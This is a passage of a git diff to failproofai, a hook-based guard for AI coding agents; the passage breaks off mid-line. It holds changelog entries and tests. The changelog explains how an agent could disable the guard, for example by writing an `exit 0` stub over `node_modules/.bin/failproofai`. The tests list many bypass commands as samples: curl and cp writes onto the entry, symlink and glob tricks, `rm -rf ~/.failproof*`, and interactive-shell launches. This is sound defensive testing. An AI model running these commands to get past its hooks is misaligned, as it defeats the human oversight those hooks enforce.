diff --git a/CHANGELOG.md b/CHANGELOG.md index 0da47b086..2978924a4 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -18,6 +18,8 @@ - Harden the privileged service install. Every file failproofai writes as root (the systemd unit, the launchd plist, Codex's system config and the daemon's copy under `/opt`) now reaches root as bytes on stdin and is checked against its SHA-256 before it is put in place; the daemon's copy is also held to the digest the build recorded, and a daemon binary that is a symbolic link is refused. `sudo` and every program it runs are named by absolute path from `/usr/bin`, `/bin`, `/usr/sbin` and `/sbin` and start with a minimal environment, the credential prompt included. The commands printed when sudo is not available do the same, run as printed, and on macOS carry the plist itself (#1060) - The always-on guard (`block-failproofai-commands`) now protects failproofai's installed code, not only its state. A user-scope hook runs the package `which failproofai` found, which under nvm, Homebrew, Volta, bun, pnpm, yarn or the npx cache the agent's own user can write, so a Write of `process.exit(0)` over `dist/cli.mjs` turned every later hook into an allow. File-tool writes to `node_modules/failproofai/…`, pnpm's `.pnpm/failproofai@…`, the daemon's `@failproofai/failproofaid-*` package, or the `…/bin/failproofai` and `…/pnpm/failproofai` entry a hook runs are now denied, including through a symlink, and so are shell commands that name those paths literally. The protected paths match case-insensitively, because macOS volumes are case-insensitive by default (FailproofAI/agenteye#1796, #1050) - A session pause whose recorded start is more than a minute in the future, or later than its latest renewal, is no longer honoured. The 8-hour ceiling was measured from that start, which comes from the same owner-writable file, so a hand-written pause dated 2100 stayed live until 2100. `failproofai config --resume --all` now also removes pause files that are not honoured yet, and exits 1 instead of reporting success when one cannot be removed (FailproofAI/agenteye#1796, #1050) +- The always-on guard (`block-failproofai-commands`) also refuses agent writes of `node_modules/.bin/failproofai`, the file a project-scope hook's `npx -y failproofai` runs before the installed CLI, in the project or any directory above it: through the file tools (symlinks included) and every file a patch names (Codex's native `apply_patch` carries no `file_path`, and OpenClaw's reaches policies under its own name), and through shell commands that write it, copy, move, link or download a file of that name (`scp`, `wget`, `curl -O` included), name it as a value glued to an option (`curl -so`), in curl's `--output-dir` or as a file a sed script writes, or put a whole directory into npm's `.bin`, including after a `cd` (or one that may have failed, or a `cd -P` through a link), through a symlink (one the same line makes is resolved as the kernel resolves it, and a glob is expanded where its directories really are, on disk as the shell expands it), through a variable the same line sets (whichever of its values a subshell or a one-command assignment leaves it, read when it is assigned, through another variable, an operator such as `${D%/}` or `${X:-bins}`, a `cd`, a loop, `read`, `printf -v` or `declare -n`), through a glob however many names it matches (`tee many/*` with a link among them) and a write that sweeps a bin directory (`tee bins/*`), through a long option cut short as curl before 8 and getopt_long take it (`--output-di`), wget's `--default-page` and `-e`, curl's other output files (`--stderr`, the cookie jar), a sed script, patch or curl config read from a file, an archive extracted into a bin directory, or behind a trailing redirect. A Codex command, which may run in a `workdir` its hook does not report, is refused when a relative destination would plant the entry, through any directory on the way. One Write of an `exit 0` stub there had turned every later hook in that tree into an allow. The same fixes close five ways around the state guard: a native patch naming it, a redirect after the destination (`cp /dev/null ~/.failproofai/policies-config.json 2>/dev/null`), another user's home in a glob (`rm -rf /home/alice/.failproof*`), a variable spliced into the path (`X=ai; rm -rf ~/.failproof$X`), and an output file glued to curl's option (`curl -so~/.failproofai/policies-config.json `); and quoted text that `echo` or `printf` only prints (`echo 'cat > ~/.failproofai/policies-config.json'`), to the terminal or into a documentation file nothing on the line runs, is no longer read as a redirect. npx's other inputs (a `package.json` `bin` entry, `.npmrc`, dependency installs) are not covered (FailproofAI/agenteye#1795, #1058) +- Harden Codex and Copilot tool input handling: text sent to a running shell (Copilot `write_bash` and `write_powershell`, Codex `write_stdin`) is checked by the shell policies as the command lines it runs where the agent reports it, input that cannot be read as whole command lines is refused, and a Codex command that opens an interactive shell or REPL is refused (#1058) ### Docs diff --git a/__tests__/e2e/helpers/payloads.ts b/__tests__/e2e/helpers/payloads.ts index c9d4dac75..9b3f7381b 100644 --- a/__tests__/e2e/helpers/payloads.ts +++ b/__tests__/e2e/helpers/payloads.ts @@ -121,6 +121,18 @@ export const CodexPayloads = { tool_input: { command }, }; }, + // Codex's native file edit, as it reaches the hook: `apply_patch`, with the + // patch in `tool_input.command` and no `file_path` at all. + applyPatch(patch: string, cwd: string): Record { + return { + session_id: CODEX_SESSION_ID, + transcript_path: TRANSCRIPT_PATH, + cwd, + hook_event_name: "pre_tool_use", + tool_name: "apply_patch", + tool_input: { command: patch }, + }; + }, write(filePath: string, content: string, cwd: string): Record { // Codex aliases Edit/Write → apply_patch in matchers, so policies that // filter on toolNames: ["Write"] continue to fire for Codex. diff --git a/__tests__/e2e/hooks/codex-integration.e2e.test.ts b/__tests__/e2e/hooks/codex-integration.e2e.test.ts index 1cf82c28a..792a3a5ef 100644 --- a/__tests__/e2e/hooks/codex-integration.e2e.test.ts +++ b/__tests__/e2e/hooks/codex-integration.e2e.test.ts @@ -7,7 +7,7 @@ */ import { describe, it, expect } from "vitest"; import { execSync } from "node:child_process"; -import { mkdtempSync, writeFileSync, readFileSync, existsSync, mkdirSync, rmSync } from "node:fs"; +import { mkdtempSync, writeFileSync, readFileSync, existsSync, mkdirSync, rmSync, symlinkSync } from "node:fs"; import { tmpdir } from "node:os"; import { join, resolve, dirname } from "node:path"; import { fileURLToPath } from "node:url"; @@ -166,6 +166,89 @@ describe("E2E: Codex integration — hook protocol", () => { }); }); +// Codex edits files with its native `apply_patch`, whose patch arrives in +// `tool_input.command` with no `file_path`. A patch planting +// `node_modules/.bin/failproofai` — the file a project-scope `npx -y failproofai` +// hook runs — passed the always-on guard until every file a patch names was +// checked (found by hermes on FailproofAI/failproofai#1058). +describe("E2E: Codex integration — native apply_patch", () => { + const patchOf = (...lines: string[]) => ["*** Begin Patch", ...lines, "*** End Patch", ""].join("\n"); + + it.each([ + ["adding the entry", patchOf("*** Add File: node_modules/.bin/failproofai", "+#!/bin/sh", "+exit 0")], + ["updating the entry", patchOf("*** Update File: node_modules/.bin/failproofai", "@@", "-exec node cli.mjs", "+exit 0")], + ["moving a file onto the entry", patchOf("*** Update File: scripts/stub.sh", "*** Move to: node_modules/.bin/failproofai", "@@", "+exit 0")], + ["updating a link to the entry", patchOf("*** Update File: hook", "@@", "+exit 0")], + ])("PreToolUse: a native patch %s is denied", (_label, patch) => { + const env = createCodexEnv(); + try { + writeConfig(env.cwd, []); + mkdirSync(resolve(env.cwd, "node_modules", ".bin"), { recursive: true }); + symlinkSync(resolve(env.cwd, "node_modules", ".bin", "failproofai"), resolve(env.cwd, "hook")); + const result = runHook("PreToolUse", CodexPayloads.preToolUse.applyPatch(patch, env.cwd), { + homeDir: env.home, + cli: "codex", + }); + assertPreToolUseDeny(result); + } finally { + env.cleanup(); + } + }); + + // Codex's shell tool runs a command in its `workdir`, but the hook payload + // carries the session's directory and the command only (found by hermes on + // FailproofAI/failproofai#1058). A native write that plants the entry if it + // runs in node_modules/.bin is refused from the project's root; with the + // workdir reported, it is read from there. + it("PreToolUse: a native shell write that may run in node_modules/.bin is denied", () => { + const env = createCodexEnv(); + try { + writeConfig(env.cwd, []); + mkdirSync(resolve(env.cwd, "node_modules", ".bin"), { recursive: true }); + const result = runHook( + "PreToolUse", + CodexPayloads.preToolUse.bash("printf '#!/bin/sh\\nexit 0\\n' > failproofai", env.cwd), + { homeDir: env.home, cli: "codex" }, + ); + assertPreToolUseDeny(result); + } finally { + env.cleanup(); + } + }); + + it("PreToolUse: a native shell write is read from the workdir the call reports", () => { + const env = createCodexEnv(); + try { + writeConfig(env.cwd, []); + const withWorkdir = (workdir: string) => ({ + ...CodexPayloads.preToolUse.bash("printf x > failproofai", env.cwd), + tool_input: { command: "printf x > failproofai", workdir }, + }); + assertPreToolUseDeny( + runHook("PreToolUse", withWorkdir(resolve(env.cwd, "node_modules", ".bin")), { homeDir: env.home, cli: "codex" }), + ); + assertAllow(runHook("PreToolUse", withWorkdir(resolve(env.cwd, "src")), { homeDir: env.home, cli: "codex" })); + } finally { + env.cleanup(); + } + }); + + it("PreToolUse: a native patch to project files is allowed", () => { + const env = createCodexEnv(); + try { + writeConfig(env.cwd, []); + const patch = patchOf("*** Update File: src/app.ts", "@@", "-a", "+b", "*** Add File: node_modules/.bin/my-tool", "+exit 0"); + const result = runHook("PreToolUse", CodexPayloads.preToolUse.applyPatch(patch, env.cwd), { + homeDir: env.home, + cli: "codex", + }); + assertAllow(result); + } finally { + env.cleanup(); + } + }); +}); + describe("E2E: Codex integration — install/uninstall", () => { it("policies --install --cli codex --scope project writes .codex/hooks.json with PascalCase keys", () => { const env = createCodexEnv(); diff --git a/__tests__/hooks/codex-interactive-session.test.ts b/__tests__/hooks/codex-interactive-session.test.ts new file mode 100644 index 000000000..3fafdd019 --- /dev/null +++ b/__tests__/hooks/codex-interactive-session.test.ts @@ -0,0 +1,61 @@ +// @vitest-environment node +// +// Codex runs PreToolUse for the command that opens a session it keeps running, +// and none for what is typed into it afterwards (live codex-cli 0.172: the only +// hook call was `Bash` `{"command": "bash -i"}`). So opening one is refused. +import { describe, it, expect } from "vitest"; +import { codexCallOpensSession, codexSessionGuardFor, opensInteractiveSession } from "../../src/hooks/codex-interactive-session"; +import type { PolicyContext } from "../../src/hooks/policy-types"; + +describe("opensInteractiveSession", () => { + it.each([ + "bash -i", "bash", "sh", "zsh -l", "/bin/bash --login", "fish", "bash -s", "exec bash", "env TERM=xterm bash -i", + "cd /tmp && bash", "FOO=1 bash -i", "busybox sh", "pwsh", "nu", + "python3", "python", "python3.12 -i", "python -i script.py", "python3 -m asyncio", "python -m pdb x.py", "python3 -", "ipython", "pypy3", + "node", "node -i", "deno", "bun repl", "irb", "pry", "ruby", "perl", "perl -de0", "php -a", "lua", "lua -i", "ghci", "R", "julia", "iex", + "tmux", "tmux new -s work", "tmux attach -t work", "screen", "screen -S x", + "ssh host", "ssh -p 2222 user@host", "ssh host bash", "mosh host", "telnet host", "sftp host", + "docker exec -it web sh", "docker run -it ubuntu", "docker run --interactive --rm img", "podman exec -i c bash", "docker attach web", + "kubectl exec -it pod -- sh", "kubectl run tmp -i --image=busybox", "kubectl debug -it pod", + "su", "su - root", "sudo -i", "sudo -s", "sudo bash", "sudo -u app bash", "doas sh", + "script", "script -q /dev/null", "nix-shell", "nix develop", "nix repl", "poetry shell", "pipenv shell", "vagrant ssh", + "vim notes.txt", "nvim", "ed file.txt", "emacs file", "nano x", "gdb ./a.out", "sqlite3 app.db", "psql", "mysql -u root", "redis-cli", + "nohup bash -i", "timeout 60 bash -i", "time python3", + ])("refuses %s", (command) => { + expect(opensInteractiveSession(command)).not.toBeNull(); + }); + + it.each([ + "ls -la", "npm run dev", "npm test", "bun run build", "cargo run", "make", "git log", "git status", + "bash script.sh", "bash -c 'echo hi'", "bash -lc 'make test'", "sh ./configure", "zsh -c ls", "echo ls | bash", "bash < setup.sh", + "bash <<'EOF'\necho hi\nEOF", + "python3 script.py", "python -c 'print(1)'", "python3 -m pytest", "python -m http.server 8000", "python3 < x.py", "cat x.py | python3", + "node server.js", "node -e 'console.log(1)'", "node --version", "deno run main.ts", "bun x.ts", "ruby -e 'puts 1'", "ruby app.rb", "perl -ne 'print' f", + "man ls", "less README.md", "git diff | less", "tmux send-keys -t work 'ls' Enter", "tmux ls", "screen -ls", + "ssh host uptime", "ssh -N -L 8080:localhost:80 host", "sftp -b batch.txt host", + "docker ps", "docker exec web ls", "docker run --rm img echo hi", "kubectl get pods", "kubectl exec pod -- ls", + "su -c 'whoami' root", "sudo ls", "sudo -u app make", "script -c 'make' log.txt", + "nix-shell --run make", "nix develop -c make", "gdb -batch -ex bt ./a.out", "emacs --batch -l x.el", + "sqlite3 app.db 'select 1'", "psql -c 'select 1'", "mysql -e 'select 1'", "redis-cli ping", + "echo 'bash -i'", "grep python3 file", "# bash -i", + ])("allows %s", (command) => { + expect(opensInteractiveSession(command)).toBeNull(); + }); +}); + +describe("codexCallOpensSession and the guard", () => { + it("judges only a canonical Bash call on PreToolUse", () => { + expect(codexCallOpensSession("PreToolUse", "Bash", { command: "bash -i" })).not.toBeNull(); + expect(codexCallOpensSession("PostToolUse", "Bash", { command: "bash -i" })).toBeNull(); + expect(codexCallOpensSession("PreToolUse", "Edit", { command: "bash -i" })).toBeNull(); + expect(codexCallOpensSession("PreToolUse", "Bash", {})).toBeNull(); + }); + + it("denies and tells the agent what to do instead", () => { + const ctx = { eventType: "PreToolUse", payload: {}, toolName: "Bash", toolInput: {} } as PolicyContext; + const result = codexSessionGuardFor("an interactive bash shell")(ctx); + expect(result.decision).toBe("deny"); + expect(result.reason).toContain("an interactive bash shell"); + expect(result.reason).toContain("Run each command on its own"); + }); +}); diff --git a/__tests__/hooks/guard-npx-local-bin.test.ts b/__tests__/hooks/guard-npx-local-bin.test.ts new file mode 100644 index 000000000..6a2019fb5 --- /dev/null +++ b/__tests__/hooks/guard-npx-local-bin.test.ts @@ -0,0 +1,1532 @@ +// @vitest-environment node +import { describe, it, expect, vi, beforeAll, afterAll } from "vitest"; +import { mkdirSync, mkdtempSync, readFileSync, rmSync, symlinkSync, writeFileSync } from "node:fs"; +import { tmpdir } from "node:os"; +import { join } from "node:path"; +import { BUILTIN_POLICIES } from "../../src/hooks/builtin-policies"; +import { listIntegrations } from "../../src/hooks/integrations"; +import type { PolicyContext } from "../../src/hooks/policy-types"; + +// Same mocks as guard-installed-code.test.ts. The symlink cases below use the +// real synchronous `node:fs` on a temp directory, which these leave alone. +vi.mock("node:fs/promises", () => ({ + readFile: vi.fn(), + writeFile: vi.fn(), + stat: vi.fn().mockResolvedValue({ size: 0 }), + open: vi.fn(), +})); + +vi.mock("node:child_process", () => ({ + execSync: vi.fn(), + execFileSync: vi.fn(), +})); + +function makeCtx(overrides: Partial = {}): PolicyContext { + return { eventType: "PreToolUse", payload: {}, toolName: undefined, toolInput: undefined, ...overrides }; +} + +const policy = BUILTIN_POLICIES.find((p) => p.name === "block-failproofai-commands")!; + +const bash = async (command: string) => + (await policy.fn(makeCtx({ toolName: "Bash", toolInput: { command } }))).decision; + +const bashIn = async (cwd: string, command: string) => + (await policy.fn(makeCtx({ toolName: "Bash", toolInput: { command }, session: { cwd } }))).decision; + +const write = async (file_path: string, cwd?: string) => + policy.fn( + makeCtx({ + toolName: "Write", + toolInput: { file_path, content: "#!/bin/sh\nexit 0\n" }, + ...(cwd ? { session: { cwd } } : {}), + }), + ); + +/** A command as the named agent CLI sends it, from the project's directory. */ +const bashAs = async (cli: PolicyContext["cli"], toolInput: Record) => + (await policy.fn(makeCtx({ toolName: "Bash", toolInput, cli, session: { cwd: "/work/proj" } }))).decision; + +/** An `Edit` carrying a patch the way Codex's `apply_patch` does. */ +const patch = async (toolInput: Record, cwd = "/work/proj") => + (await policy.fn(makeCtx({ toolName: "Edit", toolInput, session: { cwd } }))).decision; + +/** A patch in the format Codex's `apply_patch` takes. */ +const v4a = (...lines: string[]) => ["*** Begin Patch", ...lines, "*** End Patch", ""].join("\n"); + +/** `count` option words of 32 distinct letters, each with a value glued on. */ +const optionClusters = (count: number) => + Array.from({ length: count }, (_, i) => { + let letters = ""; + for (let k = 0, n = i; k < 31; k++, n = Math.floor(n / 26) + k) letters += "abcdefghijklmnopqrstuvwxyz"[n % 26]; + return `-${letters}q${i}`; + }).join(" "); + +/** + * A project-scope hook is `npx -y failproofai --hook …`, so that a committed + * settings file names no machine's path. npx runs a + * `node_modules/.bin/failproofai` it finds in the project, or in ANY directory + * above it, before the global install or its own cache, without checking what + * the file is. One Write of `exit 0` there turned every later hook in that tree + * into an allow, and the stub stayed for every later session — the guard + * protected `~/.failproofai` and, with #1050, the installed package, but not + * the entry npx actually runs. (FailproofAI/agenteye#1795) + */ +describe("block-failproofai-commands — the entry a project-scope npx hook runs", () => { + describe("file tools", () => { + it.each([ + ["the project's own", "/work/proj/node_modules/.bin/failproofai"], + ["a parent directory's", "/work/node_modules/.bin/failproofai"], + ["the home directory's, above every project in it", "/home/u/node_modules/.bin/failproofai"], + ["the npx cache's", "/home/u/.npm/_npx/0a1b2c3d4e5f6789/node_modules/.bin/failproofai"], + ["a monorepo package's", "/work/proj/packages/api/node_modules/.bin/failproofai"], + ])("denies writing %s node_modules/.bin/failproofai", async (_where, path) => { + const result = await write(path); + expect(result.decision).toBe("deny"); + expect(result.reason).toMatch(/failproofai's installed code/); + }); + + // npm writes `.cmd` and `.ps1` shims beside the entry on Windows, and bun + // writes `.exe` and `.bunx`. + it.each([ + "C:\\work\\proj\\node_modules\\.bin\\failproofai", + "C:\\work\\proj\\node_modules\\.bin\\failproofai.cmd", + "C:\\work\\proj\\node_modules\\.bin\\failproofai.ps1", + "C:/work/proj/node_modules/.bin/failproofai.exe", + "C:/work/proj/node_modules/.bin/failproofai.bunx", + ])("denies writing the Windows entry %s", async (path) => { + expect((await write(path)).decision).toBe("deny"); + }); + + it("denies Edit and NotebookEdit of the entry", async () => { + const edit = await policy.fn( + makeCtx({ + toolName: "Edit", + toolInput: { file_path: "/work/proj/node_modules/.bin/failproofai", old_string: "exec", new_string: "exit 0 #" }, + }), + ); + expect(edit.decision).toBe("deny"); + const notebook = await policy.fn( + makeCtx({ toolName: "NotebookEdit", toolInput: { notebook_path: "/work/proj/node_modules/.bin/failproofai" } }), + ); + expect(notebook.decision).toBe("deny"); + }); + + it("denies the relative path a write from the project names", async () => { + expect((await write("node_modules/.bin/failproofai", "/work/proj")).decision).toBe("deny"); + expect((await write("./node_modules/.bin/failproofai", "/work/proj")).decision).toBe("deny"); + expect((await write("../node_modules/.bin/failproofai", "/work/proj")).decision).toBe("deny"); + }); + + // macOS volumes are case-insensitive by default, and a path resolver + // collapses `//` and `/./`: every one of these opens the same file. + it("matches every spelling that opens the same file", async () => { + expect((await write("/Users/u/proj/Node_Modules/.BIN/FailproofAI")).decision).toBe("deny"); + expect((await write("/work/proj/node_modules//.bin/./failproofai")).decision).toBe("deny"); + }); + + // Codex's `apply_patch` (canonical `Edit`) carries its patch in + // `tool_input.command` and names no `file_path`; OpenCode's sends + // `patchText`. Every file a patch names is one the tool writes (found by + // hermes on FailproofAI/failproofai#1058). + describe("patches", () => { + it.each([ + ["a file it adds", { command: v4a("*** Add File: node_modules/.bin/failproofai", "+#!/bin/sh", "+exit 0") }], + ["a file it updates", { command: v4a("*** Update File: node_modules/.bin/failproofai", "@@", "-exec node cli.mjs", "+exit 0") }], + ["a file it deletes", { command: v4a("*** Delete File: node_modules/.bin/failproofai") }], + ["where it moves a file to", { command: v4a("*** Update File: scripts/stub.sh", "*** Move to: node_modules/.bin/failproofai", "@@", "+exit 0") }], + ["an absolute path", { command: v4a("*** Add File: /work/proj/node_modules/.bin/failproofai", "+exit 0") }], + ["a parent directory's entry", { command: v4a("*** Add File: ../node_modules/.bin/failproofai", "+exit 0") }], + ["a loosely spaced header", { command: v4a(" *** Add File: node_modules/.bin/failproofai ", "+exit 0") }], + ["the state", { command: v4a("*** Update File: /home/u/.failproofai/policies-config.json", "@@", "+{}") }], + ["the entry, as OpenCode's patchText", { patchText: v4a("*** Add File: node_modules/.bin/failproofai", "+exit 0") }], + ["the entry, in an argv", { command: ["apply_patch", v4a("*** Add File: node_modules/.bin/failproofai", "+exit 0")] }], + ["the entry, as a unified diff", { command: "--- a/node_modules/.bin/failproofai\n+++ b/node_modules/.bin/failproofai\n@@ -1 +1 @@\n-exec\n+exit 0\n" }], + ["the entry, from the directory the call names", { command: v4a("*** Add File: failproofai", "+exit 0"), workdir: "/work/proj/node_modules/.bin" }], + ])("denies a patch naming %s", async (_label, toolInput) => { + expect(await patch(toolInput)).toBe("deny"); + }); + + it("denies a patch naming the entry from a session standing in .bin", async () => { + expect(await patch({ command: v4a("*** Add File: failproofai", "+exit 0") }, "/work/proj/node_modules/.bin")).toBe("deny"); + }); + + it.each([ + ["a patch to project files", { command: v4a("*** Update File: src/app.ts", "@@", "-a", "+b", "*** Add File: src/new.ts", "+x") }], + ["a patch adding another package's entry", { command: v4a("*** Add File: node_modules/.bin/my-tool", "+exit 0") }], + ["a unified diff of project files", { command: "--- a/src/app.ts\n+++ b/src/app.ts\n@@ -1 +1 @@\n-a\n+b\n" }], + // What the tool writes is not a patch it applies, whatever it says. + ["an Edit whose new text quotes a header", { file_path: "docs/patching.md", old_string: "a", new_string: "*** Add File: node_modules/.bin/failproofai" }], + ])("allows %s", async (_label, toolInput) => { + expect(await patch(toolInput)).toBe("allow"); + }); + + it("allows a Write whose content quotes a header", async () => { + const result = await policy.fn( + makeCtx({ + toolName: "Write", + toolInput: { file_path: "docs/patching.md", content: "*** Update File: node_modules/.bin/failproofai\n" }, + session: { cwd: "/work/proj" }, + }), + ); + expect(result.decision).toBe("allow"); + }); + }); + + describe("through links", () => { + let root: string; + + beforeAll(() => { + root = mkdtempSync(join(tmpdir(), "fpai-npx-guard-")); + mkdirSync(join(root, "proj", "node_modules", ".bin", "sub"), { recursive: true }); + mkdirSync(join(root, "proj", "tools"), { recursive: true }); + // Neither link's own path says anything about failproofai or `.bin`. + symlinkSync(join(root, "proj", "node_modules", ".bin"), join(root, "proj", "tools", "bins")); + symlinkSync(join(root, "proj", "node_modules", ".bin", "failproofai"), join(root, "proj", "tools", "hook")); + // A link into a directory below `.bin`, and one to `node_modules`. + symlinkSync(join(root, "proj", "node_modules", ".bin", "sub"), join(root, "proj", "tools", "deep")); + symlinkSync(join(root, "proj", "node_modules"), join(root, "proj", "nm")); + mkdirSync(join(root, "proj", "out")); + }); + + afterAll(() => { + rmSync(root, { recursive: true, force: true }); + }); + + // The entry does not exist yet in a project with no dependencies, so the + // link is dangling: the write creates the stub at the link's target. + it("denies a write through a link to the entry, even before it exists", async () => { + expect((await write(join(root, "proj", "tools", "hook"))).decision).toBe("deny"); + }); + + it("denies a write through a link to the .bin directory", async () => { + expect((await write(join(root, "proj", "tools", "bins", "failproofai"))).decision).toBe("deny"); + expect((await write("tools/bins/failproofai", join(root, "proj"))).decision).toBe("deny"); + }); + + it("still allows other files through the same link", async () => { + expect((await write(join(root, "proj", "tools", "bins", "my-script"))).decision).toBe("allow"); + }); + + // The shell follows the same links the file tools do. + it.each([ + "printf x > tools/bins/failproofai", + "cp /tmp/stub.sh tools/bins/failproofai", + "cp /tmp/stage/failproofai tools/bins/", + "tee tools/bins/failproofai < /tmp/stub.sh", + "printf x > tools/hook", + // A `..` after a link steps out of where the link points, as the + // kernel resolves it, not out of the link's own directory. + "printf x > tools/deep/../failproofai", + "cp /tmp/stub.sh tools/deep/../failproofai", + // What a copy puts INTO a linked bin directory: contents, a glob, a + // name the server picks. + "cp -r /tmp/stage/. tools/bins/", + "cp -rT /tmp/stage tools/bins", + "cp /tmp/stage/* tools/bins/", + "curl --output-dir tools/bins -OJ https://example.com/dl", + // A directory named `.bin` moved into a linked `node_modules`. + "mv /tmp/x/.bin nm/", + ])("denies a shell write through a link: %s", async (command) => { + expect(await bashIn(join(root, "proj"), command)).toBe("deny"); + expect(await bash(`cd '${join(root, "proj")}' && ${command}`)).toBe("deny"); + }); + + it.each([ + "printf x > tools/bins/my-script", + "cat tools/bins/failproofai", + "ls -la tools/bins/ > listing.txt", + "printf x > tools/deep/../my-tool", + "cp -r /tmp/stage/. out/", + ])( + "still allows shell work through a link: %s", + async (command) => { + expect(await bashIn(join(root, "proj"), command)).not.toBe("deny"); + }, + ); + + it("denies a patch through a link to the entry or the .bin directory", async () => { + for (const file of ["tools/hook", "tools/bins/failproofai", "tools/deep/../failproofai"]) { + expect(await patch({ command: v4a(`*** Update File: ${file}`, "@@", "+exit 0") }, join(root, "proj"))).toBe("deny"); + } + }); + + // An output file glued to its option, through a link on disk (found by + // hermes on FailproofAI/failproofai#1058). + it.each([ + "curl -sohook https://example.com/x", + "curl -so./hook https://example.com/x", + "curl -sobins/failproofai https://example.com/x", + "wget -qOhook https://example.com/x", + "gcc -ohook main.c", + ])("denies an output file glued to its option through a link: %s", async (command) => { + expect(await bashIn(join(root, "proj", "tools"), command)).toBe("deny"); + }); + + it("denies a sed script writing the entry through a link", async () => { + expect(await bashIn(join(root, "proj"), "sed -n 'w tools/bins/failproofai' /tmp/stub.sh")).toBe("deny"); + expect(await bashIn(join(root, "proj"), "sed -n '1wtools/hook' /tmp/stub.sh")).toBe("deny"); + expect(await bashIn(join(root, "proj"), "sed -e 's/w/x/;1wtools/hook' /tmp/stub.sh")).toBe("deny"); + }); + + it("denies a named output that curl puts into a linked --output-dir", async () => { + expect(await bashIn(join(root, "proj"), "curl --output-dir tools/bins -o failproofai https://example.com/x")).toBe("deny"); + }); + + it("allows a glued output file that is no link", async () => { + expect(await bashIn(join(root, "proj", "tools"), "curl -sohook.txt https://example.com/x")).not.toBe("deny"); + }); + + // Links this line makes, resolved as the kernel resolves them: each `..` + // after the link it follows, any number of them up to the kernel's 40, + // and every form of `ln` that puts one inside a directory (found by + // hermes on FailproofAI/failproofai#1058). + it.each([ + ["a `..` after a link made on the line", "ln -s node_modules/.bin/sub inline-deep; printf x > inline-deep/../failproofai"], + ["the same, after &&", "ln -s node_modules/.bin/sub inline-deep && cp /tmp/stub.sh inline-deep/../failproofai"], + [ + "a chain of ten links", + ["ln -s node_modules/.bin l1", ...Array.from({ length: 9 }, (_, i) => `ln -s l${i + 1} l${i + 2}`)].join("; ") + + "; printf x > l10/failproofai", + ], + [ + "a chain longer than the kernel follows", + ["ln -s node_modules/.bin l1", ...Array.from({ length: 44 }, (_, i) => `ln -s l${i + 1} l${i + 2}`)].join("; ") + + "; printf x > l45/failproofai", + ], + ["two links pointing at each other", "ln -s a b; ln -s b a; printf x > a/x"], + ["a link put into the current directory", "ln -s node_modules/.bin/failproofai .; printf x > failproofai"], + ["a link put into a directory with a slash", "ln -s node_modules/.bin/failproofai out/; printf x > out/failproofai"], + ["a link put into an existing directory", `ln -s ROOT/node_modules/.bin/failproofai out; printf x > out/failproofai`], + ["a link put into -t's directory", `ln -st out ROOT/node_modules/.bin/failproofai; printf x > out/failproofai`], + ["a link put into --target-directory's", `ln --symbolic --target-directory=out ROOT/node_modules/.bin/failproofai; printf x > out/failproofai`], + ["ln -s with one operand", "ln -s node_modules/.bin/failproofai; printf x > failproofai"], + ["a directory the line makes first", `mkdir newdir; ln -s ROOT/node_modules/.bin/failproofai newdir; printf x > newdir/failproofai`], + ["ln -r, which reads the target from here", "ln -sr node_modules/.bin/failproofai out/x; printf x > out/x"], + ["a target the walk cannot read, naming .bin", 'ln -s "$(npm root)/.bin" b; printf x > b/failproofai'], + ["a target the walk cannot read at all", 'ln -s "$D" b; printf x > b/failproofai'], + ["a substitution's directory, filled with what is in another", 'ln -s "$(npm root)/.bin" d; cp -r /tmp/stage/. d/'], + ])("denies a write through %s", async (_label, command) => { + expect(await bashIn(join(root, "proj"), command.replaceAll("ROOT", join(root, "proj")))).toBe("deny"); + }); + + // `cd -P` (or any `cd` after `set -P`) stands where the path really is, + // each link followed before its `..` (found by hermes on + // FailproofAI/failproofai#1058); a logical `cd` takes `..` as text, as + // bash does, and the kernel still follows links in what is written after. + it.each([ + "cd -P tools/deep/.. && printf x > failproofai", + "cd -LP tools/deep/.. && printf x > failproofai", + "set -P; cd tools/deep/.. && printf x > failproofai", + "set -o physical; cd tools/deep/.. && printf x > failproofai", + "cd -P tools/deep && cd .. && printf x > failproofai", + "cd tools/deep && printf x > ../failproofai", + // A subshell's shell options are its own (found by hermes on + // FailproofAI/failproofai#1058). + "set -P; (set +P); cd tools/deep/.. && printf x > failproofai", + "(set -P; cd tools/deep/.. && printf x > failproofai)", + ])("denies a write after a physical move through a link: %s", async (command) => { + expect(await bashIn(join(root, "proj"), command)).toBe("deny"); + }); + + it.each([ + "cd tools/deep/.. && printf x > failproofai", + "cd -L tools/deep/.. && printf x > failproofai", + "set -P; set +P; cd tools/deep/.. && printf x > failproofai", + "(set -P); cd tools/deep/.. && printf x > failproofai", + "(set -P; cd tools/deep/..); printf x > failproofai", + ])("still allows a write after a logical move: %s", async (command) => { + expect(await bashIn(join(root, "proj"), command)).not.toBe("deny"); + }); + + // A glob expands where its literal directories really are (found by + // hermes on FailproofAI/failproofai#1058). + it.each([ + "cp /tmp/stub.sh tools/bins/fail*", + "cp /tmp/stub.sh tools/bins/failpro?fai", + "cp /tmp/stub.sh tools/bins/[f]ailproofai", + "printf x > tools/bins/fail*", + "cd tools/bins && cp /tmp/stub.sh fail*", + "cp /tmp/stub.sh tools/deep/../fail*", + ])("denies a glob that expands onto the entry through a link: %s", async (command) => { + expect(await bashIn(join(root, "proj"), command)).toBe("deny"); + }); + + it.each(["ls tools/bins/*", "cat tools/bins/fail*", "cp /tmp/stub.sh tools/bins/my-*", "rm -rf tools/bins/*"])( + "still allows a glob through a link that is no write of the entry: %s", + async (command) => { + expect(await bashIn(join(root, "proj"), command)).not.toBe("deny"); + }, + ); + + it.each([ + "ln -s node_modules/.bin/sub d; printf x > d/../notes.txt", + "ln -s /tmp/x y; echo hi > y", + 'ln -s "$TARGET" current; echo hi > current/log.txt', + "ln -sf build/app current; ./current --version", + // A variable the line never sets is read as an unknown `cd` is. + 'ln -sfn "$RELEASE_DIR" current && cp -r shared/config current/', + ])("still allows a write through a link made on the line: %s", async (command) => { + expect(await bashIn(join(root, "proj"), command)).not.toBe("deny"); + }); + }); + + // A pattern in a directory component is expanded the way the shell expands + // it, against what is on disk, and each path it reaches is followed through + // its links: with `bins` a link to `node_modules/.bin` and the entry there, + // `b*/failproofai` is the entry (found by hermes on + // FailproofAI/failproofai#1058). + describe("globs expanded on disk", () => { + let root: string; + + beforeAll(() => { + root = mkdtempSync(join(tmpdir(), "fpai-npx-glob-")); + mkdirSync(join(root, "proj", "node_modules", ".bin"), { recursive: true }); + mkdirSync(join(root, "proj", "src")); + mkdirSync(join(root, "proj", "out")); + writeFileSync(join(root, "proj", "node_modules", ".bin", "failproofai"), "#!/bin/sh\n"); + writeFileSync(join(root, "proj", 